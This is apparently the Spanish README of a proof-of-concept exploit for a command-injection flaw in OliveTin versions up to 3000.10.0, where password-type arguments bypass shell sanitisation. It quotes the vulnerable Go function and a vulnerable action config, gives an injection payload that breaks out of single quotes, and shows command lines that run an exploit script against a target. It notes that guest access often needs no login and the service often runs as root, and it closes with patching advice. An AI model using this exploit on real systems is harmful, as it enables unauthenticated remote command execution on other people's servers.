
OliveTin permite al administrador definir "acciones": comandos de shell con argumentos parametrizados que los usuarios pueden ejecutar desde una interfaz web o API. Antes de insertar un valor suministrado por el usuario en el comando de shell, se supone que OliveTin lo pasa por checkShellArgumentSafety(). Esa función comprueba cuatro tipos de argumento: string, int, bool, choice. Omite password por completo y devuelve true, es decir, "seguro", sin examinar el valor en absoluto.
Por lo tanto, si una acción tiene un argumento de tipo password y ese argumento se sustituye en una cadena de comando de shell, puedes poner cualquier cosa en él. Puntos y coma, comillas invertidas, $(), lo que sea. Si el argumento está entre comillas en el comando subyacente (un patrón común para cosas como contraseñas de bases de datos), basta con salir de las comillas.
func checkShellArgumentSafety(argType string, value string) bool {
dangerousTypes := []string{"string", "int", "bool", "choice"}
for _, dt := range dangerousTypes {
if argType == dt {
return sanitizeInput(value)
}
}
// password type falls through here, unchecked
return true
}
Afecta a OliveTin hasta 3000.10.0. Corregido en la línea 3000.11.1 (commit 0.0.0-20260222101908-4bbd2eab1532), que añade password a los tipos comprobados. Aviso: GHSA-49gm-hh7w-wfvf. CVSS 9.9.
Cualquier caso en el que un argumento de tipo password acabe dentro de una cadena de shell, normalmente entre comillas:
- title: Backup database
id: backup_db
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /tmp/backup.sql"
arguments:
- name: db_user
type: ascii_identifier
- name: db_pass
type: password
- name: db_name
type: ascii_identifier
db_pass está entre comillas simples sin que nada lo compruebe. Envía '; id ;' como valor y OliveTin ejecuta id antes de que falle la llamada malformada a mysqldump. El fallo no importa; el comando inyectado ya se ejecutó, como el usuario bajo el que se ejecuta OliveTin. En muchas configuraciones ese usuario es root, porque la gente lo ejecuta bajo systemd sin una línea User= y no vuelve a pensar en ello.
No necesitas credenciales para nada de esto si la instancia tiene authRequireGuestsToLogin: false configurado, algo habitual en despliegues pequeños o de aficionados.
pip install requests
python3 exploit.py -u <target> --action backup_db --arg db_pass -x "id"
Si la acción necesita otros argumentos para ejecutarse sin errores antes de que tu comando inyectado se ejecute, pásalos con --extra-arg:
python3 exploit.py -u 10.0.0.5 --action backup_db --arg db_pass \
--extra-arg db_user=admin --extra-arg db_name=prod -x "whoami"
El script hace POST a StartAction, espera dos segundos, luego consulta ExecutionStatus e imprime lo que devuelva. Normalmente verás la salida del comando inyectado por encima de un error del comando legítimo que se ejecutó después y falló. Eso es lo esperado. El error es cosmético; tu comando ya se ejecutó.
Actualiza OliveTin más allá de 3000.10.0. Si aún no puedes: retira cualquier argumento de tipo password de las acciones a las que puedan acceder usuarios no confiables, desactiva la ejecución de invitados y deja de permitir que los valores de argumentos se interpolen en cadenas de shell en la medida de lo posible. Pasa los secretos mediante variables de entorno o un archivo que OliveTin lea en una ruta fija. Y no ejecutes el servicio como root. No hay razón para que un ejecutor de tareas tenga esos privilegios.
exploit.py: el script del PoCREADME.md: este archivoEsto está aquí para quienes parchean sus propias instancias de OliveTin, escriben detecciones o prueban sistemas que están autorizados a probar. No lo uses contra nada que no sea tuyo o sobre lo que no tengas permiso. Eso es responsabilidad tuya, no de quien escribió esto.
| indicador | para qué sirve | valor por defecto |
|---|
-u, --url | host o IP de destino | obligatorio |
-p, --port | puerto de OliveTin | 1337 |
--action | el bindingId de la acción vulnerable | obligatorio |
--arg | nombre del argumento de tipo password | obligatorio |
-x, --cmd | comando a inyectar | id |
--extra-arg | otros argumentos que la acción necesite, name=value, repetible | ninguno |